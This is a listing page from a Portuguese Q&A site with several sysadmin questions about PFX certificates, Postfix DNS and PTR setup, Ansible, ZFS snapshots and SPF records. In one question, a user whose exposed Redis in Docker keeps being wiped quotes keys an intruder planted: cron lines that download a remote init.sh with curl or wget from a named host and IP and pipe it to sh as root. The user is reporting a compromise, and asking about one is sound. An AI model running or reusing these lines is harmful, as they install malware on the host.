AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • Início
  • system&network
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • Início
  • system&network
    • Recentes
    • Highest score
    • tags
  • Ubuntu
    • Recentes
    • Highest score
    • tags
  • Unix
    • Recentes
    • tags
  • DBA
    • Recentes
    • tags
  • Computer
    • Recentes
    • tags
  • Coding
    • Recentes
    • tags
Início / server / 问题

All perguntas(server)

Martin Hope
mfinni
Asked: 2025-01-11 03:25:29 +0800 CST

get-pfxCertificate falha em um certificado válido, enquanto import-pfxcertificate funciona

  • 5

Tenho um arquivo PFX conhecido como bom, com a senha correta. Posso importá-lo usando a interface de usuário do certificado do Windows ou o cmdlet import-pfxcertificate. No entanto, get-pfxcertificate falha. Alguma ideia?

PS > $password = read-host -AsSecureString
****************

PS > Import-PfxCertificate C:\Users\mfinnigan\Desktop\test.pfx -Password $password cert:\CurrentUser\my

   PSParentPath: Microsoft.PowerShell.Security\Certificate::CurrentUser\my

Thumbprint                                Subject              EnhancedKeyUsageList
----------                                -------              --------------------
<snip>                                    CN=<snip>            Client Authentication

PS > get-pfxCertificate C:\Users\mfinnigan\Desktop\test.pfx -Password $password
Get-PfxCertificate: An error occurred during encode or decode operation.
powershell
  • 1 respostas
  • 20 Views
Martin Hope
tiberious726
Asked: 2025-01-10 02:58:57 +0800 CST

Configuração de DNS e PTR para saída do servidor postfix em dois IPs públicos

  • 5

Recentemente configurei o ECMP no firewall da nossa rede para nos conectar totalmente a vários ISPs.

Foi fácil configurar o SPF corretamente, mas esse negócio anti-spam estilo anos 70 nem tanto... Algumas de nossas contrapartes (executando suas próprias instâncias do postfix que precisam continuar aceitando e-mails enviados por mim) insistem em executar o postfix com "reject_unknown_client_hostname", aqui está a definição dos documentos: "Rejeite a solicitação quando 1) o mapeamento de endereço IP do cliente->nome falhar, ou 2) o mapeamento de nome->endereço falhar, ou 3) o mapeamento de nome->endereço não corresponder ao endereço IP do cliente." Basicamente, o registro PTR para um determinado IP precisa estar correto.

Como nosso servidor postfix não sabe qual IP público ele realmente estará egressando para uma determinada conexão, temos que enviar o mesmo nome de servidor na mensagem EHLO, independentemente de qual link ele sai.

A melhor solução que podemos encontrar, sem precisar executar uma instância postfix inteira, é ter registros PTR em ambos os IPs públicos apontando para o mesmo nome de registro A e, então, ter dois registros A para esse nome, um para cada IP. Sei que essa é geralmente uma ideia horrível, pois muitas bibliotecas de SO nem retornam mais de um registro A para um cliente, e isso certamente levará a falhas intratáveis. Quais outras opções existem?

domain-name-system
  • 1 respostas
  • 40 Views
Martin Hope
NSWH
Asked: 2025-01-10 02:21:19 +0800 CST

Ansible: o que estou fazendo errado? Quero verificar se o serviço está ativo (pelo shell, não pelos módulos internos) e então instalá-lo

  • 5

Eu tenho este manual:

- name: push ssh key for all lxc
  hosts: proxmox_host
  vars:
    lxc_cts:
        - 100
        - 102
        - 106
        - 107
        - 108
        - 109
        - 111
        - 112
        - 113
        - 114
  tasks:
    - name: check ssh
      command: pct exec {{ item }} -- rpm -q openssh-server
      register: ssh_check
      ignore_errors: true
      loop: '{{ lxc_cts }}'

    - name: SSH status
      debug:
        var: ssh_check

    - name: install openssh if not installed
      command: pct exec {{ item }} -- dnf install -y openssh-server
      when: ssh_check.results[ansible_loop.index0].rc != 0      
      loop: '{{ lxc_cts }}'


    - name: enable sshd
      command: pct exec {{ item }} -- dnf enable --now sshd
      loop: '{{ lxc_cts }}'

    - name: copy key
      command: pct push {{ item }} /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys
      delegate_to: proxmox_host
      loop: '{{ lxc_cts }}'

    - name: perms for dir
      command: pct exec {{ item }} -- chmod 700 /root/.ssh
      loop: '{{ lxc_cts }}'

    - name: perms for file
      command: pct exec {{ item }} -- chmod 600 /root/.ssh/authorized_keys
      loop: '{{ lxc_cts}}'

    - name: (debug) SSH is already installed!
      debug:
        msg: 'SSH is already installed on CT {{ item }}!'
      when: ssh_check.results|length > item|int and ssh_check.results[item|int].rc != 0
      with_items: '{{ lxc_cts }}'

Eu tentei todas as sugestões de IA, li alguns documentos, mas ainda não consigo entender o erro nos logs

2025-01-09 21:09:12,656 p=3537536 u=root n=ansible | fatal: [proxmox_host]: FALHOU! => {"msg": "A verificação condicional 'ssh_check.results[ansible_loop.index0].rc != 0' falhou. O erro foi: erro ao avaliar condicional (ssh_check.results[ansible_loop.index0].rc != 0): o objeto da lista não tem elemento AnsibleUndefined(hint=None, obj=missing, name='ansible_loop'). o objeto da lista não tem elemento AnsibleUndefined(hint=None, obj=missing, name='ansible_loop')\n\nO erro parece estar em '/root/ansible/keypush_with_check.yml': linha 26, coluna 7, mas pode\nestar em outro lugar no arquivo, dependendo do problema exato de sintaxe.\n\nA linha ofensiva parece ser:\n\n\n - name: install openssh if not installed\n ^ here\n"}

Acho que é um erro lógico, mas a IA não consegue explicar e consertar, então talvez alguém aqui possa me ajudar?

linux
  • 1 respostas
  • 17 Views
Martin Hope
VPNer
Asked: 2025-01-10 01:40:25 +0800 CST

Como mover um servidor Ubuntu para um contêiner independente de quais serviços estão em execução?

  • 5

Tenho um servidor Ubuntu em bare metal que foi configurado por terceiros. Ele executa um serviço proprietário. Não há documentação adequada sobre o que está sendo executado e como.

Tive que redirecionar este servidor para outro serviço, um servidor Ubuntu com contêineres Docker executando o novo serviço.

Preciso executar o serviço proprietário anterior que estava sendo executado no servidor bare metal. Também preciso executá-lo em um contêiner para facilitar a implantação e o gerenciamento.

Não tenho certeza de como mover um servidor Ubuntu para contêineres.

Eu sei que esse não é o "jeito Docker" de fazer isso.

Uma abordagem que encontrei é criar uma imagem do zero e transferir o sistema de arquivos, exceto as seguintes pastas: /proc, /sys, /dev, /tmp, /mnt, /media, /run, /boot e /swapfile

FROM scratch
ADD folders-to-transfer.tar.gz /
CMD ["/bin/bash"]

Esta é a maneira correta?

Outros sugeriram usar uma VM, o que parece exagero.

ubuntu
  • 1 respostas
  • 27 Views
Martin Hope
richard zogheb
Asked: 2025-01-09 09:32:39 +0800 CST

unidade compartilhada mapeada usando a linha de comando no Windows 11 não visível no Explorador de Arquivos

  • 5

Estou em um laptop com Windows 11. Mapeei uma unidade compartilhada que é uma unidade USB externa em um desktop com Windows 10 usando a linha de comando net use como administrador.

O mapeamento foi bem-sucedido e foi capaz de listar arquivos e copiar arquivos da unidade compartilhada para a unidade local dentro do CLI. Mas quando vou para o File Explorer, consigo ver os arquivos que copiei, mas a unidade compartilhada não está visível.

Já compartilhei essa unidade ano passado em outro laptop com Windows 11 sem problemas. Como faço para mostrar a unidade compartilhada no explorador de arquivos?

network-share
  • 1 respostas
  • 22 Views
Martin Hope
Tom
Asked: 2025-01-09 03:16:43 +0800 CST

Tentando atualizar o iLO 5 em dois servidores HPE ProLiant Gen 10 e recebendo um aviso de TPM detectado

  • 9

Ao atualizar o iLO 5 em nosso ambiente e para dois dos servidores, estou recebendo o seguinte aviso, que parece muito assustador.

insira a descrição da imagem aqui

O problema aqui é que o BitLocker nem está instalado em nenhum desses servidores.

Alguém já passou por isso e tem alguma ideia do que pode estar acontecendo?

hp-proliant
  • 1 respostas
  • 262 Views
Martin Hope
dummzeuch
Asked: 2025-01-08 16:57:28 +0800 CST

Por que chamar chown e chmod que não altera nada cria diferenças entre snapshots no ZFS?

  • 6

Em nosso servidor, temos um cron job que chama regularmente chowne chmodpara um diretório em um sistema de arquivos ZFS. Normalmente, isso não altera o usuário e os direitos porque o diretório já tem os mesmos atributos.

Há outra tarefa cron que cria regularmente um instantâneo deste sistema de arquivos.

No Natal, eu estava sozinho no escritório, então não deveria ter havido alterações no servidor, mas descobri que os instantâneos do ZFS não estavam vazios.

Os seguintes atributos foram definidos para o pool e o conjunto de dados:

compression=on (lz4)
atime=off
xattr=sa
acltype=posixacl

Por que o instantâneo não está vazio se a chamada chownand chmodnão altera nada?

Existe alguma maneira de evitar isso?

(Não, não posso desabilitar essa tarefa cron.)

linux
  • 2 respostas
  • 154 Views
Martin Hope
imin
Asked: 2025-01-08 14:46:46 +0800 CST

Dados no redis em execução no docker são excluídos a cada 30 minutos

  • 5

Tenho um Redis rodando no docker, iniciado com o comando:

docker run -d --restart a menos que seja interrompido -p 6379:6379 redis/redis-stack-server:latest

No entanto, todos os dados dentro do redis, incluindo os índices, são deletados a cada 30 minutos. Não sei por que isso acontece.

Poderia ser porque o VPS em que estou executando o Docker tem recursos muito limitados?

A especificação do VPS é 1 núcleo de CPU, 1 GB de RAM e swap e 20 GB de armazenamento. O SO é Ubuntu 22.04. O provedor de VPS é RackNerd. Eu executei o mesmo docker-redis em um VPS com a mesma especificação no OVH sem nenhum problema.

Estou executando o Redis no Docker porque quero usar a funcionalidade do Redisearch.

A cada poucas horas, chaves chamadas backup1 backup2 backup3 backup4 apareceriam no redis. Aqui está o valor para cada uma das chaves:

backup1 : */2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh
backup2: */3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh
backup3: */4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh
backup4: */5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh

Aqui estão os logs do docker:

root@racknerd-d76c238:~# docker logs b4bb752bcda8
8:C 08 Jan 2025 04:51:49.757 # WARNING Memory overcommit must be enabled! Without it, a background save or replication may fail under low memory condition. Being disabled, it can also cause failures without low memory condition, see https://github.com/jemalloc/jemalloc/issues/1328. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
8:C 08 Jan 2025 04:51:49.759 * oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
8:C 08 Jan 2025 04:51:49.759 * Redis version=7.4.1, bits=64, commit=00000000, modified=0, pid=8, just started
8:C 08 Jan 2025 04:51:49.759 * Configuration loaded
8:M 08 Jan 2025 04:51:49.761 * Increased maximum number of open files to 10032 (it was originally set to 1024).
8:M 08 Jan 2025 04:51:49.761 * monotonic clock: POSIX clock_gettime
8:M 08 Jan 2025 04:51:49.766 * Running mode=standalone, port=6379.
8:M 08 Jan 2025 04:51:49.768 * Module 'RedisCompat' loaded from /opt/redis-stack/lib/rediscompat.so
8:M 08 Jan 2025 04:51:49.790 * <search> Redis version found by RedisSearch : 7.4.1 - oss
8:M 08 Jan 2025 04:51:49.790 * <search> RediSearch version 2.10.5 (Git=2.10-e2f2                                                                    8a9)
8:M 08 Jan 2025 04:51:49.791 * <search> Low level api version 1 initialized successfully
8:M 08 Jan 2025 04:51:49.791 * <search> gc: ON, prefix min length: 2, min word length to stem: 4, prefix max expansions: 200, query timeout (ms): 500, timeout policy: return, cursor read size: 1000, cursor max idle (ms): 300000, max doctable size: 1000000, max number of search results:  10000,
8:M 08 Jan 2025 04:51:49.791 * <search> Initialized thread pools!
8:M 08 Jan 2025 04:51:49.793 * <search> Enabled role change notification
8:M 08 Jan 2025 04:51:49.793 * Module 'search' loaded from /opt/redis-stack/lib/redisearch.so
8:M 08 Jan 2025 04:51:49.804 * <timeseries> RedisTimeSeries version 11202, git_sha=5643fd4d6fcb1e9cf084fb2deb9285b08f4a6672
8:M 08 Jan 2025 04:51:49.805 * <timeseries> Redis version found by RedisTimeSeries : 7.4.1 - oss
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded default CHUNK_SIZE_BYTES policy: 4096
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded server DUPLICATE_POLICY: block
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded default IGNORE_MAX_TIME_DIFF:0
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded default IGNORE_MAX_VAL_DIFF:0.000000
8:M 08 Jan 2025 04:51:49.805 * <timeseries> Setting default series ENCODING to:compressed
8:M 08 Jan 2025 04:51:49.806 * <timeseries> Detected redis oss
8:M 08 Jan 2025 04:51:49.806 * Module 'timeseries' loaded from /opt/redis-stack/lib/redistimeseries.so
8:M 08 Jan 2025 04:51:49.816 * <ReJSON> Created new data type 'ReJSON-RL'
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> version: 20803 git sha: unknown branch:unknown
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V1 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V2 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V3 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V4 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V5 API
8:M 08 Jan 2025 04:51:49.819 * <ReJSON> Enabled diskless replication
8:M 08 Jan 2025 04:51:49.819 * Module 'ReJSON' loaded from /opt/redis-stack/lib/rejson.so
8:M 08 Jan 2025 04:51:49.819 * <search> Acquired RedisJSON_V5 API
8:M 08 Jan 2025 04:51:49.822 * <bf> RedisBloom version 2.8.2 (Git=unknown)
8:M 08 Jan 2025 04:51:49.823 * Module 'bf' loaded from /opt/redis-stack/lib/redi                                                                    sbloom.so
8:M 08 Jan 2025 04:51:49.832 * <redisgears_2> Created new data type 'GearsType'
8:M 08 Jan 2025 04:51:49.835 * <redisgears_2> Detected redis oss
8:M 08 Jan 2025 04:51:49.838 # <redisgears_2> could not initialize RedisAI_InitError    
8:M 08 Jan 2025 04:51:49.838 * <redisgears_2> Failed loading RedisAI API.
8:M 08 Jan 2025 04:51:49.838 * <redisgears_2> RedisGears v2.0.20, sha='9b737886bf825fe29ddc2f8da81f73cbe0b4e858', build_type='release', built_for='Linux-ubuntu2                                                                    2.04.x86_64', redis_version:'7.4.1', enterprise:'false'.
8:M 08 Jan 2025 04:51:49.881 * <redisgears_2> Registered backend: js.
8:M 08 Jan 2025 04:51:49.890 * Module 'redisgears_2' loaded from /opt/redis-stack/lib/redisgears.so
8:M 08 Jan 2025 04:51:49.891 * Server initialized
8:M 08 Jan 2025 04:51:49.892 * Ready to accept connections tcp
8:M 08 Jan 2025 05:04:19.697 * DB saved on disk
8:M 08 Jan 2025 05:04:20.167 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:04:20.172 * DB saved on disk
8:M 08 Jan 2025 05:04:21.850 * DB saved on disk
8:M 08 Jan 2025 05:04:22.318 * DB saved on disk
8:M 08 Jan 2025 05:04:22.565 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:04:22.568 * DB saved on disk
8:M 08 Jan 2025 05:04:24.255 * DB saved on disk
8:M 08 Jan 2025 05:04:24.965 * DB saved on disk
8:M 08 Jan 2025 05:11:27.270 * <module> Scanning index idx:delivery in background
8:M 08 Jan 2025 05:11:27.270 * <module> Scanning index idx:delivery in background: done (scanned=0)
8:M 08 Jan 2025 05:11:27.270 * <module> Scanning index idx:ehailing in background
8:M 08 Jan 2025 05:11:27.271 * <module> Scanning index idx:ehailing in background: done (scanned=0)
8:M 08 Jan 2025 05:11:27.271 * <module> Scanning index idx:product in background
8:M 08 Jan 2025 05:11:27.271 * <module> Scanning index idx:product in background: done (scanned=0)
8:M 08 Jan 2025 05:46:37.355 * DB saved on disk
8:M 08 Jan 2025 05:46:37.746 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:46:37.750 * DB saved on disk
8:M 08 Jan 2025 05:46:39.517 * DB saved on disk
8:M 08 Jan 2025 05:46:39.910 * DB saved on disk
8:M 08 Jan 2025 05:46:40.104 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:46:40.107 * DB saved on disk
8:M 08 Jan 2025 05:46:41.466 * DB saved on disk
8:M 08 Jan 2025 05:46:42.050 * DB saved on disk
8:M 08 Jan 2025 06:21:30.817 * <module> Scanning index idx:business in background
8:M 08 Jan 2025 06:21:30.822 * <module> Scanning index idx:business in background: done (scanned=0)
8:M 08 Jan 2025 06:21:30.823 * <module> Scanning index idx:delivery in background
8:M 08 Jan 2025 06:21:30.825 * <module> Scanning index idx:delivery in background: done (scanned=0)
8:M 08 Jan 2025 06:21:30.826 * <module> Scanning index idx:ehailing in background
8:M 08 Jan 2025 06:21:30.827 * <module> Scanning index idx:ehailing in background: done (scanned=0)
8:M 08 Jan 2025 06:21:30.828 * <module> Scanning index idx:product in background
8:M 08 Jan 2025 06:21:30.831 * <module> Scanning index idx:product in background: done (scanned=0)
8:M 08 Jan 2025 06:46:43.095 * 1 changes in 3600 seconds. Saving...
8:M 08 Jan 2025 06:46:43.105 * Background saving started by pid 29
29:C 08 Jan 2025 06:46:43.123 * DB saved on disk
29:C 08 Jan 2025 06:46:43.124 * Fork CoW for RDB: current 0 MB, peak 0 MB, average 0 MB
8:M 08 Jan 2025 06:46:43.207 * Background saving terminated with success
security
  • 1 respostas
  • 93 Views
Martin Hope
Jerome
Asked: 2025-01-06 21:41:41 +0800 CST

O Postfix não está enviando com o remetente correto

  • 5

Os seguintes elementos

# postconf myhostname
myhostname = hostname.example.com
# postconf mydomain
mydomain = example.com
# postqueue -p
-Queue ID-  --Size-- ----Arrival Time---- -Sender/Recipient-------
87C5DDD44B*     418 Mon Jan  6 13:02:36  root@ubuntu-4gb-nbg1-1
                                         [email protected]

está resultando em um tempo limite no servidor de e-mail do destinatário:

connect to in-smtp.example.org[192.0.2.1]:25: Connection timed out

O remetente do e-mail é identificado como from=<root@ubuntu-4gb-nbg1-1>em mail.log.

O hostname.example.come example.comtêm seus Aregistros DNS apropriados e TXT SPFregistros permitindo ip4:198.51.100.1.

O provedor de serviços (Hetzner neste caso) tem uma entrada DNS reversa para o endereço IPv4 primário definido como example.com.

Presumi que era a string do remetente do e-mail que estava sendo recusada pelo servidor MX. Mas quando fiz isso, o remetente correto apareceu no log.mail -s 'subject' "From: [email protected]" [email protected]

Então, onde poderia estar faltando a configuração?

domain-name-system
  • 1 respostas
  • 38 Views
Martin Hope
Jerome
Asked: 2025-01-06 18:43:15 +0800 CST

possíveis registros DNS SPF conflitantes

  • 5

Contexto:
• serviço de e-mail gerenciado por terceiros
• O VPS tem o postfix como um servidor de e-mail somente para envio.

O DNS tem dois registros TXT com nome@
v=spf1 include:spf.someengine.com ?all
v=spf1 mx ip4:111.222.333.444 ~all

Essa configuração pode criar problemas com servidores de e-mail? É preferível unificá-los em uma única entrada, como
v=spf1 include:spf.someengine.com mx ip4:111.222.333.444 ~all ?

domain-name-system
  • 1 respostas
  • 60 Views
Prev
Próximo

Sidebar

Stats

  • Perguntas 205573
  • respostas 270741
  • best respostas 135370
  • utilizador 68524
  • Highest score
  • respostas
  • Marko Smith

    Você pode passar usuário/passar para autenticação básica HTTP em parâmetros de URL?

    • 5 respostas
  • Marko Smith

    Ping uma porta específica

    • 18 respostas
  • Marko Smith

    Verifique se a porta está aberta ou fechada em um servidor Linux?

    • 7 respostas
  • Marko Smith

    Como automatizar o login SSH com senha?

    • 10 respostas
  • Marko Smith

    Como posso dizer ao Git para Windows onde encontrar minha chave RSA privada?

    • 30 respostas
  • Marko Smith

    Qual é o nome de usuário/senha de superusuário padrão para postgres após uma nova instalação?

    • 5 respostas
  • Marko Smith

    Qual porta o SFTP usa?

    • 6 respostas
  • Marko Smith

    Linha de comando para listar usuários em um grupo do Windows Active Directory?

    • 9 respostas
  • Marko Smith

    O que é um arquivo Pem e como ele difere de outros formatos de arquivo de chave gerada pelo OpenSSL?

    • 3 respostas
  • Marko Smith

    Como determinar se uma variável bash está vazia?

    • 15 respostas
  • Martin Hope
    Davie Ping uma porta específica 2009-10-09 01:57:50 +0800 CST
  • Martin Hope
    kernel O scp pode copiar diretórios recursivamente? 2011-04-29 20:24:45 +0800 CST
  • Martin Hope
    Robert ssh retorna "Proprietário incorreto ou permissões em ~/.ssh/config" 2011-03-30 10:15:48 +0800 CST
  • Martin Hope
    Eonil Como automatizar o login SSH com senha? 2011-03-02 03:07:12 +0800 CST
  • Martin Hope
    gunwin Como lidar com um servidor comprometido? 2011-01-03 13:31:27 +0800 CST
  • Martin Hope
    Tom Feiner Como posso classificar a saída du -h por tamanho 2009-02-26 05:42:42 +0800 CST
  • Martin Hope
    Noah Goodrich O que é um arquivo Pem e como ele difere de outros formatos de arquivo de chave gerada pelo OpenSSL? 2009-05-19 18:24:42 +0800 CST
  • Martin Hope
    Brent Como determinar se uma variável bash está vazia? 2009-05-13 09:54:48 +0800 CST

Hot tag

linux nginx windows networking ubuntu domain-name-system amazon-web-services active-directory apache-2.4 ssh

Explore

  • Início
  • Perguntas
    • Recentes
    • Highest score
  • tag
  • help

Footer

AskOverflow.Dev

About Us

  • About Us
  • Contact Us

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve